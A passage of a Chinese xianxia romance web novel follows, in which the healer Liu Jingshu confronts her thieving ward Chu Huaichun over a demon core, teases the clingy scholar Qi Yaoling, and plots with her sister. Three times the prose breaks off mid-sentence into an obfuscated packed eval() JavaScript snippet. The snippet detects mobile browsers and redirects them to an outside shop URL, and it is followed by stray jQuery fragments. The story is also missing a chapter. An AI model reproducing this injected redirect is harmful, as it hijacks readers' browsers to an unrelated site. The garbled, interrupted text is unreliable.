褚怀春坚定自己的所作所为没有任何错误。
他所作的一切都是为了能够有更好的生活。他能过得更好,旁的人损失一点小钱财算不得什么。
更何况,他是褚怀春,他可以从旁辅助柳静姝治病救人,他过得好了,有力气帮人,怎么算都是一件不会有亏损的好事。
柳静姝何苦执着于教他不能偷盗。她怪他偷东西就算了,不但要求把东西还回去,还要他给苦主道歉。
柳静姝失望的看向理直气壮的褚怀春问:“你不知道那些钱怎么来的?”
褚怀春被柳静姝看得气短心虚,仍然梗着脖子大声喊道:“我也出力了!”
“你出力让自己填饱肚子难道不应该?”柳静姝瞥一眼总想要开口说话又担心会打扰到她的祁曜灵,“你不是说要扫雪吗?”
祁曜灵心领神会,没有分毫被人驱使的不乐意,高高兴兴地拿起早就发现的工具去扫雪。
他还体贴的为柳静姝把大门关上,仔细又高兴地开始扫雪。
柳静姝对愤愤不平的褚怀春问道:“既然你回来了,解释一下婚约是怎么回事。”
褚怀春愤恨地瞪了一眼往外走的祁曜灵,他瞧见祁曜灵识趣地把门关上,不禁嗤笑一声。
算这个外村人懂事。
褚怀春一声嗤笑未落音,听见柳静姝问他的话,不禁想起从前被柳静姝罚站的经历,险些因为习惯往墙边走去。
他装作不知道怎么回事,困惑的反问柳静姝:“什么婚约?”
“别在这装傻。”柳静姝给自己搬了一张椅子出来,坐下。
更像了。
褚怀春把自己吓了一跳,从前挨的揍现在仍然记得。他做错事屡教不改,有一次生气到失去理智,直接反抗柳静姝。
他落了下乘,没有反抗柳静姝的实力。
褚怀春可以握在手上充当武器的所有工具都被柳静姝反手夺走。
他坚定的认为做错事的是柳静姝。
柳静姝在大街上找到流落街头的褚怀春,口口声声说他和她有一段缘分,她会让他有地方住,让他吃饱穿暖。
还说只要褚怀春愿意,他可以像书院的学子一样读书识字。
褚怀春看见字就头疼,不可能有毅力坐下来读书。
柳静姝说,她会让褚怀春学一门手艺,日后能把自己养活。
起初,柳静姝的确让褚怀春过得很舒适,不必忧愁吃喝,有遮风避雨的屋子。
她像褚怀春记忆里的母亲。
寡言但温柔,不求回报的照顾他。
当柳静姝为了青山村的人和褚怀春站在对里面,她又像严厉固执的父亲。教他认识平日会用到的文字,教他修炼……
柳静姝一次次站在青山村的村民一边,让褚怀春感受到了背叛。
褚怀春回忆起曾经被柳静姝管得不得不低头的日子,倍感耻辱。他不再隐瞒,直说道:“难道不是吗?没有婚约?你不是把我当童养夫养了?”
柳静姝无语地问:“是什么让你有这种错觉?”
“不然你为什么让我一直住在这里?”柳静姝的反应让褚怀春不满意,他觉得柳静姝应该是被他戳中心事的恼羞成怒,是哑口无言,“你不是总说等我十八岁吗?”
他有一种预测,此前的所有猜想都会在这一刻被颠覆。
褚怀春被一股耻辱感冲击地无法冷静思考。
“别想太多,我只说等你满十八岁自立门户。”柳静姝把十八岁作为界限,是因为十八岁对她来说意味着成年。
“我已经和村长商量好了。”
柳静姝不知道褚怀春最后还会不会离开青山村,他会不会又中途反悔回到青山村。
她打开系统界面仔仔细细的查看每一个文字。
褚怀春的离开倒计时还在界面,时间也在一点点减少。
“你早就想把我赶出去了?!”褚怀春听清楚柳静姝说了什么话,他没有去问地在什么地方,而是在第一时间质问柳静姝。
他气得想要摔东西,想要去踢任何东西。
奇怪的是,褚怀春愤怒踢中的每一件物品都像是坚硬的石头。物品没有损坏,反倒是褚怀春的脚受到了同等力度的伤害。
褚怀春狼狈地捂住腿脚,逼问柳静姝要一个答案:“就因为他?!一个外人罢了!”
柳静姝:“为了外人要离开青山村的人不是你吗?”
“我?!”褚怀春疼得冷汗直流,他这才想起来有乔依依和楚翊两个外村人站在他这一边。他很快为自己的行为找到了很好的理由。
“我这事为了有一个更好的前途!为了过更好的生活!”
柳静姝立刻接上问:“你既然认为乔依依和楚翊能给你更好的前途和未来,为什么还会回来?”
“因为……”褚怀春底气不足,疼得龇牙咧嘴。疼痛让他的头脑快速动了起来。
“我要妖丹!你刚来到青山村时,是不是打死了一只袭击青山村的妖兽!你快点把妖丹给我!”
“不给。”柳静姝拒绝了褚怀春提出要妖丹的要求。
褚怀春被柳静姝拒绝了,他如同遭到了雷劈。
“为什么?!你拿妖丹没有用!你的修为这么低!你凭什么不给我?啊——”
他忍痛冲向柳静姝,正要动用武力威胁时,他的腿更疼了。
褚怀春疼得大叫起来。
有人捏住他的胳膊。
是扫完雪的祁曜灵!
“你做什么?”褚怀春气急败坏地喊道,“你少在这动手动脚!柳静姝你就看着他这个外村人欺负我吗?!救我啊!”
柳静姝听见褚怀春的呼救不为所动。
细细的银针夹在她的指缝间。
祁曜灵捏了两下褚怀春的胳膊,喃喃自语:“你这筋骨……”
“我筋骨怎么了?”褚怀春对自己充满了自信,他警告还在捏他胳膊的祁曜灵说道,“你这外村人识相的话,快点放开我!否则,你看我怎么收拾你!”
褚怀春知道自己的力气大。
但他每次想要仗着力气大做点别的事时,身体里有一股古怪的力量在控制他,还能转移他踢中其他人身体任何部位的伤害和疼痛!
他伤害不了其他人,其他人故意找茬也伤害不了他。
褚怀春没能仗着力气大去欺负旁人。
他知道这力气大能保护自己。
只要祁曜灵感伤害他,他就算是把祁曜灵打残打死都不会有问题!
褚怀春自信极了。
“你能有这般体质真该好好答谢静姝姑娘。”祁曜灵冷哼一声,说道,“否则你这筋骨连引气入体
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579220|205073||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都做不到。”
“你胡说什么?!”褚怀春不相信祁曜灵的说法,他固执的认为是柳静姝耽误了他的修行。
“你拿妖丹做什么?是乔依依和楚翊叫你来拿的?”柳静姝握紧细针问道。
褚怀春不回答,但他的反应已经告诉了柳静姝答案。
的确是乔依依和楚翊派他回来找柳静姝拿妖丹。
妖丹的用处可大了。
柳静姝一个修为低下的修士只会浪费妖丹!
柳静姝又问:“那两个人拿妖丹做什么?”
“静姝。”褚怀春喊道,“你不懂。乔依依说了,只要我把妖丹带给她,她和楚翊能助我提升一个小境界。”
柳静姝露出细针,针尖在光下闪烁发光。“我也能让你跌下一个小境界。”
褚怀春害怕极了。他的腿脚受了伤,祁曜灵又禁锢了他的身体,他纵然想要逃都找不到逃的地方。
他看见柳静姝指缝的细针就头晕眼花,口不择言的指责柳静姝,倾吐他这几年积攒下来的怨气,
说了小半天又围绕着把祁曜灵这个外村人多管闲事,要把他赶走的话。
“你瞧瞧,你说静姝姑娘在家里什么活都不做。”祁曜灵似笑非笑地对褚怀春说道,“什么活都是你做的。那这次损坏的屋顶呢?是你修好的?哎呀,你还是一个懂得分身术法的高人啊?”
“屋顶?”褚怀春怔愣住,他一直没有发现屋顶坏了,屋顶新修好了。
“我,我今早去砍柴了!”
“砍的柴呢?”祁曜灵追问道,“柴去哪儿了?砍菜刀还在家里呢,你哪什么砍柴?”
砍柴用的刀还立在墙根处。
褚怀春顺着祁曜灵的手指看去。
砍柴刀似乎有了生命,在嘲笑褚怀春找到借口拙劣,在讥讽他的借口错漏百出。
祁曜灵又继续夸道:“在下有眼不识泰山,竟然不知这位高手还有不需要砍菜刀就能看柴回家的本事。在下万分羞愧。”
“这般寒冷的天气,高手您还要去砍柴,当真是勤奋啊!”
褚怀春不语。
祁曜灵遗憾的说道:“我要是有这般能耐,决计不会让静姝姑娘碰一点活。”
柳静姝把褚怀春请出了家门。她不忘警告褚怀春出门在外管好他自己的嘴巴,要是褚怀春在外头再乱说什么婚约不婚约的事,再把乱七八糟的事扯到她身上,她会好好教训他。
褚怀春没有拿到乔依依想要的妖丹,灰溜溜地走了。他要临走前愤恨的打祁曜灵一拳发泄怒气,结果平添一份伤害。
他背后一凉,不敢回头看柳静姝,慌乱地一瘸一拐跑走了。
祁曜灵熟练地往地上一躺,做出一副受重伤的模样向柳静姝哭诉道:“静姝姑娘你看他!他怎么能这么粗鲁!幸好不是打在静姝姑娘身上,不然……得有多疼啊?”
一声痛呼宛转悠扬。
祁曜灵一个人能完成整场戏,他可怜巴巴地趴在地上喊疼。“嘶,好疼啊~”
柳静姝不动,祁曜灵的戏不停。
过了一会,柳静姝先低头了。她把祁曜灵扶起来,不动声色地挡住要往自己身上靠的柔若无骨的伤员。
“啊……我这很疼,不会是受伤了吧?”祁曜灵缓缓伸出手,暗示柳静姝帮他把一下脉,“静姝姑娘帮帮我吧……”
“……我给你扎两针?”柳静姝清楚知道祁曜灵有没有在褚怀春手下受伤,她问仍然在敬业出演的祁曜灵,“扎两针好的更快。”
“当真?!”祁曜灵瞬间支棱起来,含羞带怯地问道,“那位高手打在我的腹部……静姝姑娘要在这处扎针吗?”
柳静姝:“……”
她还真没有见过主动要求被针扎的人。
“要除去衣裳吗?”祁曜灵双目亮晶晶地问道,“我就在这脱吗?”
柳静姝:“不用。”
“真的不用吗?”祁曜灵不死心,仍然想要好好展示一番,“涂抹药酒什么的,还有冰敷?”
柳静姝:“……要不你出门躺在雪里吧。”
7. 第 7 章
柳静姝没有想到祁曜灵会真的往雪上躺。
她听见祁曜灵提到了冰敷,又因为他奇怪的要求和黏糊劲儿,实在受不住才这么一说。
柳静姝无奈说出口的一句话倒是成了祁曜灵顺势倒在雪地上的理由。
“静姝姑娘!雪里躺着很舒服啊!”祁曜灵像一个没有玩过雪的小孩子,一股兴奋的劲头在支持他猛打滚。
他一边在院子里打滚,一边呼唤柳静姝快些加入自己在雪地里打滚的玩法。
门前的雪都扫干净了。
院子里面的雪都被祁曜灵滚平了。
柳静姝看着祁曜灵在雪里躺着很舒适的样子,整个人都傻眼了。
她在反思自己为什么会让祁曜灵在雪地里翻滚。
柳静姝在进行自我反思期间没有忘记喊祁曜灵快点从雪地里起来,免得在雪地里滚久了着凉。
她一句“容易着凉”没有成功阻止祁曜灵停止打滚的行经,反倒是把祁曜灵没有激发出来的潜能全部激发出来了。
祁曜灵在雪地里一直滚,从东头滚到西头,又从东头滚到北边。他东南西北都给滚了一遍,把院子里的雪都铺平整了。
柳静姝满脸困惑地追在祁曜灵背后走,竟然让这个像是突发滚雪地恶疾的书生祁曜灵找到新玩法,玩的更开心了。
祁曜灵让柳静姝一路追,又沿着柳静姝的脚印一路滚。
最可气的是,柳静姝根本追不上祁曜灵。
祁曜灵此人精准把控了柳静姝的行动方向和速度,总是隔着柳静姝能一手抓住他的距离长短。
柳静姝改变方向的瞬间,祁曜灵跟着她一起改变方向。
“祁公子你快点起来,你的衣服全湿了。”柳静姝关心和催促的话让祁曜灵打了一大盆的鸡血。
祁曜灵:“没关系!我一点都不冷!”
祁曜灵何止是不觉得冷,他恨不得浑身都湿得透透的。
衣服湿了容易着凉,着凉又等同于容易生病,容易生病又等同于可以借着生病的缘由留在青山村养病。
祁曜灵的算盘打得很响。
只要能留下来,就算是生病也不亏!
祁曜灵:“嘶啊?”
过度兴奋的祁曜灵滚不动了。
他被柳静姝拿捏了七寸,这会正在雪地上一凸一凸的咕蛹着。
柳静姝观察了祁曜灵滚雪地的动作,又结合他的移动速度,快速抓住祁曜灵的弱点,一击命中祁曜灵的脖子。
祁曜灵的体温比寻常人的体温要低上些许。他像蛇一般在雪地里滚动着,妥妥的S型移动摆尾。
蛇的弱点在七寸。
人的弱点在哪里?
柳静姝的手按住了祁曜灵的后颈。她没有使用多少力气禁锢祁曜灵的后脖子,力气堪堪能阻止他继续活动就行。
“很好玩吗?”柳静姝垂眸看向头发微湿的祁曜灵,注意到他沾上碎雪的眼睫毛,发现他微微泛点红色的鼻尖……
漆黑的眼睛略微弯起,祁曜灵笑着仰头对半蹲着的柳静姝说道:“好玩呀,我很早之前就想和静姝一起玩了!”
柳静姝:“你认识我?”
祁曜灵:“……”
柳静姝一问,祁曜灵立刻装傻。
祁曜灵宛如一只鸵鸟,他把自己的脸埋进了雪里。
柳静姝的耳朵捕捉到一丝非常容易被忽略的声音。为了听清楚这道声音,她把膝盖压在雪地上,上半身俯下。
嘶嘶嘶嘶——
柳静姝担心祁曜灵会把自己埋进雪地里憋晕过去,她要把祁曜灵的头抬起来。
奇怪的是,柳静姝碰到祁曜灵的身体,总会听到一阵嘶嘶声。她用力一点,嘶嘶的声响更大一些,听上去是兴奋又害羞;她的力气卸下些许,嘶嘶的声响裹住微妙的委屈和不舍。
嘶嘶——嘶嘶——
嘶嘶——嘶嘶——
像某一种爬行类生物发出来的声音。
柳静姝的手松开了对祁曜灵的控制,但保持了张开的手法滞留在他脖子的正上方。
祁曜灵少了柳静姝控制,不习惯的蠕动身体。“嘶嘶——嘶嘶——”
他这是冷着了?
柳静姝用自己的脸去贴上自己的手。
嘶嘶——
果然是很冷啊。
柳静姝的手又冷又冰,但是要比祁曜灵温暖的多。
“嘶嘶嘶嘶——”
柳静姝打算再把上半身俯低一些,她的膝盖处感受到一股被手指钻动的挤压感。
“……你在做什么?”柳静姝低头找到了祁曜灵极具存在感的手指在哪个地方,不解地问固执得要挤进她膝盖下方的手指要做什么。
“嘶嘶——雪,凉,冷,嘶嘶——生病。”祁曜灵的声音从雪里传出来,他的双耳发红又发烫,他又把自己深埋进雪里几分。
柳静姝一愣,她才把膝盖挪动一小块地方,便看见一只好看的手压在积雪上。
手背朝下,掌心朝上。
祁曜灵灵活的四只手指还在上下摇动,仿佛在召唤柳静姝的膝盖。
柳静姝又重复了一遍:“你快点起来。”
祁曜灵假装没有听见柳静姝说了什么,依旧赖在雪地上。
眨眼间,祁曜灵感觉到自己的脑袋腾空飞起。他眨眨眼睛,傻乎乎地望向柳静姝:“我起来了。”
柳静姝是拽着祁曜灵的衣领才把他拽起来的。
一道清晰可见的红色疤痕落在祁曜灵的脖子上。他没有察觉到脖子上火辣辣的疼痛,懵懂地眨动眼睛问道:“我怎么起来了?”
“为什么不起来?”柳静姝没有料到祁曜灵的皮肤这么脆弱,她不过是稍稍使用上一些力气把祁曜灵拽起来,竟然会在他的脖子上留下痕迹。
柳静姝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579221|205073||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
站起来的时候,顺便把祁曜灵也给拉起来了,她冷静地继续说:“为什么不听我的话。”
祁曜灵眨眨眼睛,正打算说点什么,他发现湿漉漉的衣服已经干了,一股寒冷的风刮过他的脖子,还得他颤抖着把脖子缩回去。
落在衣服上的热度很快就传到祁曜灵寒冷的肌肤,他小心觑一眼柳静姝的脸色,颇为遗憾地揪住衣服一角。
祁曜灵要使用喊“嘶~好冷啊”的招数没有抓准机会用上,他失落的垂下头。
“因为……想和静姝一起玩雪。”
祁曜灵说出心底里最真实的愿望,“静姝很喜欢玩雪,不是吗?”
柳静姝的视线落在祁曜灵身上,她依然摸不准头脑。
她和祁曜灵的交集在什么地方,哪一年?
为什么祁曜灵像很了解她一样说出这种话?
她沉默地思考,祁曜灵刷的一下抬起头,眼睛biu的一下亮起来。
柳静姝:“你想说什么?”
“静姝你是不是管我了?”祁曜灵激动地笑弯了眼睛说道。
“哈?”柳静姝呆住了,“我什么时候管你了?”
“静姝就是管我了。”祁曜灵频频点头,他乐开了花,“你真的管我了!”
他把被柳静姝管着不能做某一件事当作是荣耀。
柳静姝没有见过一个这么乐衷于被人管的人。
“你认识我?”
“嗯嗯——嗯↑嗯↓”祁曜灵卡住了说话的喉咙,他“嗯”了好几声,即刻把脑袋摇成拨浪鼓,“不,我是今天才认识静姝姑娘!”
“……骗人是不对的。”柳静姝说道。
祁曜灵摆头的动作停下,他摸一摸通红的耳朵,肯定地说道:“静姝说得对,骗人是不对的,我不骗人!我比褚怀春乖多了!”
柳静姝问道:“你来青山村有什么目的?”
“……找静姝。”祁曜灵犹豫一会,老实回答道,“来青山村找静姝。”
“找我做什么?”柳静姝继续问道。
“看病!”祁曜灵这次回答得很快,“静姝很厉害!找你看病!”
他眼睛定着柳静姝,立刻又问了一个问题。
“看病能留下来吗?我病了……”
“不行。”柳静姝果断冷酷的拒绝。
祁曜灵:Qwq
“我不舒服,静姝。”祁曜灵不放弃,再接再厉,“我不住静姝家,我住狗蛋家也行!”
“不行。”柳静姝还是拒绝。
祁曜灵还想再给自己争取一下,突然有一个念头从他脑子里闪过,他识趣地把妄图伸出去的一只脚缩了回来。
以退为进。
“好吧,我不留在青山村了。”祁曜灵说,“我不会让静姝为难。”
他后退几步,不熟练的行礼,向柳静姝辞行。
柳静姝:“……”
8. 第 8 章
柳静姝没有理会祁曜灵的一步三回头,当作没有察觉到祁曜灵的不舍和留恋。
祁曜灵一只脚踏出柳静姝的家门,另一只脚还卡在院子里。他又一次回头去看柳静姝,依然只可以看见一个双目空空的她。
她没有开口挽留祁曜灵。
“唉——”祁曜灵多等了一会,慢慢吞吞地抬起沉重的右脚,随即站立在柳静姝家的家门前,惆怅地仰望天空。
落在祁曜灵身上的眼睛不止一双。
很可惜的是,没有一双眼睛属于柳静姝。
祁曜灵两只手都揣进衣袖里,暗自反省,借着转过身为柳静姝把家门关上的功夫……
他再多看一眼柳静姝。
祁曜灵把门关上只留下一条缝隙,故意让这道能够看清楚柳静姝的缝隙多停留片刻。
他如愿的发现柳静姝瞥过来的眼神,心满意足地把门全部合上。
祁曜灵此时此刻的心情非常美妙。他越是心情美好,越是要装作不高兴的模样。他的脚步稳当又轻快,缓缓地离开青山村。
褚怀春没有拿到乔依依想要的妖丹。他狼狈地离开那扇大门,苦闷的开口向乔依依说道:“那枚妖丹的品质太低了,静姝她不识货,没有留下来。”
乔依依没有敷衍褚怀春的兴致,她大大的翻起一个白眼,一手肘撞在楚翊的胳膊上。
“品质太低?唉,楚翊——你听到没有,高级妖兽的妖丹品质低下啊!”
乔依依调查的很清楚,这个青山村曾经被一只高阶的狼妖袭击。这只狼妖进入青山村之后没有再离开,而青山村的村民依然在青山村生活。
答案显而易见,狼妖并没有拿青山村泄愤,有人在青山村内把狼妖斩杀了。
只有这样才能使得青山村躲过丧失理智的狼妖爪下逃过一劫。
谁有这个本事斩杀狼妖?
乔依依和楚翊多番调查,要不是有一张大嘴巴肆无忌惮往外说,他们两个找到有可能击杀狼妖的人还要废很大的功夫。
甚至可能在一无所获的半个月之后,不再继续盯着青山村。
楚翊对乔依依宠溺一笑,他看向褚怀春时,笑容荡然无存,他冷下一张脸,用遗憾和认为褚怀春不争气的无奈说道:“实在是太可惜了。”
褚怀春听说了乔依依和楚翊两个人是来青山村调查那年袭击青山村妖兽的事件,嬉皮笑脸地告知两人妖兽死于何人之手。
褚怀春还把他的所见所闻毫无保留的全部告诉给乔依依和楚翊听。以此拉近他和乔依依和楚翊的距离。
褚怀春自然没有漏掉楚翊和乔依依的不满,他讪讪地笑着说:“或许是消息有误?”
“呵呵——”乔依依冷笑一声,她不指望褚怀春能在柳静姝那问出点什么来。
要不是褚怀春告诉她:“我和静姝一起长大的,关系当然不是一般人能比得过。”
乔依依给了褚怀春一个月的时间。褚怀春一点有用的消息都没有传出来。
那时有临近过年,褚怀春拍着胸脯保证一定能给乔依依和楚翊一个回答。
乔依依不相信褚怀春的能力,但她也听说了褚怀春和柳静姝在青山村这几年确实是在同一屋檐下生活。
一些生病的人找不到柳静姝,亦或者是在柳静姝那排不上病号,会转头用金钱收买褚怀春,以此达成加急见到柳静姝治病的目的。
乔依依和楚翊去到邻镇过新年,见识过邻镇新年的大场面,开开心心回到青山村——
褚怀春这个废物玩意儿还是没有半点进展。他竟然还敢当作没有见到专门走来找他乔依依和楚翊!
乔依依要给褚怀春一个教训。
但是,柳静姝还会管着褚怀春不能乱跑,不能去哪些奇怪的地方。
乔依依辛苦布置的陷阱还不知道被哪个不长眼的坏东西破坏了!
乔依依吃了亏,迫切的要在褚怀春身上找回场子。她和楚翊只需要勾勾手指就能把不知天高地厚的褚怀春勾了过来。
褚怀春像一条狗似的又回到乔依依、楚翊身边打转,乔依依是感到非常骄傲的。她很希望看到柳静姝苦苦哀求褚怀春的模样。
柳静姝求不动褚怀春改变心意,她一定会想方设法从乔依依或者是楚翊身上找突破。
届时,乔依依就能要求柳静姝拿高阶妖兽的妖丹来换取褚怀春留在青山村。
乔依依的计谋失败了。
她满心骄傲的认为自己的魅力远大于一切宗门的名声魅力,才会让褚怀春更坚定的离开柳静姝。
戏台子都搭好了,可柳静姝没有配合乔依依演出这出戏的意思!
两个人屡次三番的找褚怀春,还悄悄给柳静姝使绊子,哪知柳静姝总是掉不进乔依依和楚翊合作做出来的骗局。
乔依依又引来了在找柳静姝的祁曜灵。
柳静姝确实和褚怀春闹翻了。
可是——柳静姝一点都不在意褚怀春到底会不会离开柳静姝的家、离开青山村。
明明柳静姝之前还一直阻挠褚怀春和乔依依、楚翊往来!
乔依依不能理解柳静姝为什么会这么轻易的放褚怀春离开。换做是乔依依,她可不会管褚怀春究竟是不是真的下定决心要违逆自己!
只要褚怀春有一丝一毫的动摇,乔依依就不会放过他。
更别提让褚怀春平平安安离开青山村。
“真是没用啊!”乔依依银牙一咬,连看一眼褚怀春都觉得脏,“半点用处都没用!”
她决定亲自去会一会柳静姝。
楚翊听说了乔依依的想法和今天晚上的行动,嘴上劝了劝乔依依。“依依不可莽撞,柳静姝是什么修为我们尚且未知。”
不提这个还好,提起这茬更让乔依依生气。她和楚翊摸不清柳静姝的底细,褚怀春更是对柳静姝的修为境界一无所知。
乔依依:“我等不了了!我必须拿到柳静姝手上的妖丹!”
楚翊劝了乔依依,但他没认真去劝她。他见劝不动乔依依,便给她出谋划策。
柳静姝正坐在院子里发呆。等到天色渐渐暗下来,她依然没有要烧火做饭的心思。
夜里的风渐渐吹起来了。柳静姝没有拴上家门,她临窗而坐,似乎在等待着什么。
少顷,柳静姝家的家门受到一股撞击的力量,发出极大的声响。
门被什么人用蛮力打开,又在下一刻反弹回去。两扇木门咿咿呀呀地晃动,时而打开,时而关闭。
不多时,一抹倩影推开了两扇木门,轻轻松松地不如院子里。
来人在柳静姝房间的窗前停下,喊了一声:“小师妹。”
柳静姝把窗打开,她仔细瞧一瞧师姐柳沉璧。“没有受伤吧,师姐?”
“当然没有!”柳沉璧不走门,直接跨上柳静姝的窗,跳进房间里说,“我还没用尽全力呢,那两个不在眼睛的坏家伙就逃掉了!”
柳静姝给柳沉璧倒了一杯热茶,真诚地夸道:“小师姐厉害!”
柳沉璧骄傲地哼了一声。她把刀随手一放,又从芥子袋里拿出还冒着热气的烧鸡说道:“来吃烧鸡,小师妹!”
柳静姝道了一声谢,她不急着吃柳沉璧带来的烧鸡。她给师姐递上干净的手帕问道:“师姐查到的结果怎么样?”
“那家伙看上去还算是个好人。”柳沉璧今天尾随祁曜灵与狗蛋一行人外出找做新门的材料。
她还委托了一个信得过的道友去调查祁曜灵的来历,继续说道:“身份没有什么大问题,但是他没有要离开的意思。”
祁曜灵离开后,柳静姝传信给柳沉璧,希望师姐能查一下他的去处。
“他还留在城里?”
“对。我怀疑他明天还会来找小师妹。”柳沉璧见柳静姝没有对香喷喷的烧鸡下狠手,她作主给小师妹撕下一只大鸡腿说道,“小师妹用不着辟谷。这谷吧,你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579222|205073||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
平日辟一辟就行,跟师姐吃饭用不着辟谷!”
她猜柳静姝还在想着祁曜灵。呼噜噜吃掉一只鸡翅膀后,柳沉璧说道:“我让蓝浅帮忙盯着祁曜灵了,至于那两个觊觎小师妹的坏家伙这会得忙着养伤,褚怀春那小子肯定会忙前忙后的照顾着。小师妹你安心吃鸡腿。”
柳静姝是师兄妹三人里最能坚持辟谷修行的人。要不是为了陪师兄、师姐吃饭,柳静姝几乎不会碰任何吃食。
“嗯。”柳静姝领了柳沉璧的好意,慢条斯理地吃起鸡腿,“我看褚怀春应当是决心要和他们出村了。”
“走就走呗。人各有各的命数,该来的怎么都逃不掉。”柳沉璧胡乱的点点头,无所谓地说道。说完,她又觉得不太对,多问了柳静姝一句:“小师妹你不会是舍不得了吧?”
只要柳静姝开口要把褚怀春留下,柳沉璧二话不说立刻放下烧鸡,出门去捉拿褚怀春归案。
“倒也不是。”柳静姝给柳沉璧说起今天出现的一行倒计时文字。
她才说完,柳沉璧马上又撕下另一只大鸡腿强硬的塞进柳静姝空空的右手。
“小师妹,咱们家可不兴什么离开受虐倒计时啊。”柳沉璧轻声哄柳静姝说道,“乖啊,咱们好好吃大鸡腿!”
柳静姝:“……师姐你倒是提醒我了。”
“别啊!你师姐我的小心脏可经不起这玩意!”
柳沉璧记不清【离开倒计时】的话本套路具体是哪些文字,但是她很清楚地记得自己听完【离开倒计时】的话本子套路的心情——
憋屈、无语、不得劲、很想砍点什么东西!
话本里的女主角以为收获了无比真挚的爱情,结果她在男主角身边受尽委屈!她所拥有的金银珠宝、身份地位都要拱手让给男主带回来的白月光或是男主认定的新真爱!
就这!
女主要离开男主竟然还要等上个X日!
柳沉璧气得不行,恨不得自己上去替女主教训教训那个遭人恨的男主!什么狗屁新真爱,什么在新真爱身上看到了曾经的女主,舍不得让新真爱受委屈,什么意外与新真爱有了肌肤之亲,不过是男人朝三暮四、朝秦暮楚的借口!
柳沉璧一口气喘不上来,她用力拍拍胸口说道:“小师妹!你千万别玩什么离开倒计时啊,要滚也是那分不清鱼目和珍珠的负心汉滚啊!”
柳静姝:“师姐……上批话本子挣了多少钱?”
柳沉璧拍胸口的动作一滞,面露苦色。“还是只有蓝浅的友情购买数。”
柳静姝:“……”
师姐妹两人面面相觑。
柳静姝和柳沉璧两人的挣灵石计划里有一项是写话本子。
话本子的灵石哪里是那么好挣的!
柳静姝记得不少狗血的小说套路,她负责口述大致情节,提供思路和素材。柳沉璧负责把此编写成话本子写下来,随后挂到她们都小铺子里挣灵石。
套路是有,新意是有,但是出售量教会她们两个人怎么做人。
柳静姝不擅长编写话本,柳沉璧比柳静姝好一些,同样也不是写话本子的料。
柳静姝:“嗯……师姐你说,亲身体验一次会不会更容易写出真情实感?”
柳沉璧拔刀说道:“呵!不必等哪门子的倒计时,你师姐我会真情实感地为你拿起大刀一顿砍,提前结束倒计时。”
“师姐,有钱。”
“……”
柳静姝短短三个字让柳沉璧把拔出来的刀重新又插回刀鞘。
“……不行,我还是憋屈!”柳沉璧痛苦不已,“小师妹你真要体验这个吗?”
“我……”
柳静姝调出系统的倒计时版面,她努力憋了又憋,憋不出一点与此事有关情绪,只能无奈放弃说道:“师姐,我做不到。”
“还是直接砍死负心汉更直接。”柳沉璧总结道,“话本子就不能用这个作为结局吗?!”
10. 第 10 章
柳静姝站在一旁低下头看变成一条竖线的祁曜灵,她相当于在高处俯视他,完全可以将他的所有小动作都收入眼底。
也不知道是不是柳静姝的错觉,她发觉祁曜灵微微抬起下巴望过来的动作很奇怪。
像是祁曜灵精心设计的角度。
见状,柳静姝开始怀疑祁曜灵被乔依依、楚翊、褚怀春三个人送来她家的院子是否是早有预谋。
她听见了那三个人的对话,但没有立刻出现制止。
柳静姝隐约觉得事情不太对劲。祁曜灵说,他是一位书生。
他长得俊俏又长身玉立,说祁曜灵是翩翩公子也不为过,偏偏柳静姝看着他有一种感觉——
祁曜灵长得确实是人模人样。
很奇怪啊,为什么会有这样的感慨?
柳静姝恍惚了好一会,她听见了褚怀春借用楚翊的法宝在青山村里非常放肆的宣言。
褚怀春把话说完,祁曜灵还趴在地上一动不动。
他本应该长在地上似的。
不应该啊。
祁曜灵虽然是看上去体型偏瘦,怎么着都不像是会被一股粗绳捆绑就无法动弹的人。
楚翊对待普通凡人一直抱有轻蔑的态度,他不会浪费法宝用在祁曜灵身上。
柳静姝不动,祁曜灵不动。两个人就像两尊石像在互相对望,谁都没有说话。
最后,还是柳静姝先动了。
她伸出手把祁曜灵嘴巴里的粗麻布拿下来。
粗麻布才被柳静姝拿走,祁曜灵的眼睛飞快的红了一圈,他委屈巴巴的向柳静姝哭诉:“静姝姑娘你可要为我做主啊!褚怀春那个大坏蛋——他!他竟然敢拿臭鞋袜塞进我的嘴巴!”
柳静姝拿下粗麻布的手一瞬间的僵硬,她定定地盯住粗麻布看。
“不是!这绝对不是!”祁曜灵一眼看穿柳静姝故作冷静的表面,“我怎么会让那等肮脏的东西弄脏静姝姑娘的手呢?我可不是那等不讲究的臭男人。”
柳静姝:“……”
她听了祁曜灵的话,下意识地呼吸一口气。
的的确确没有闻到什么奇怪的臭味。
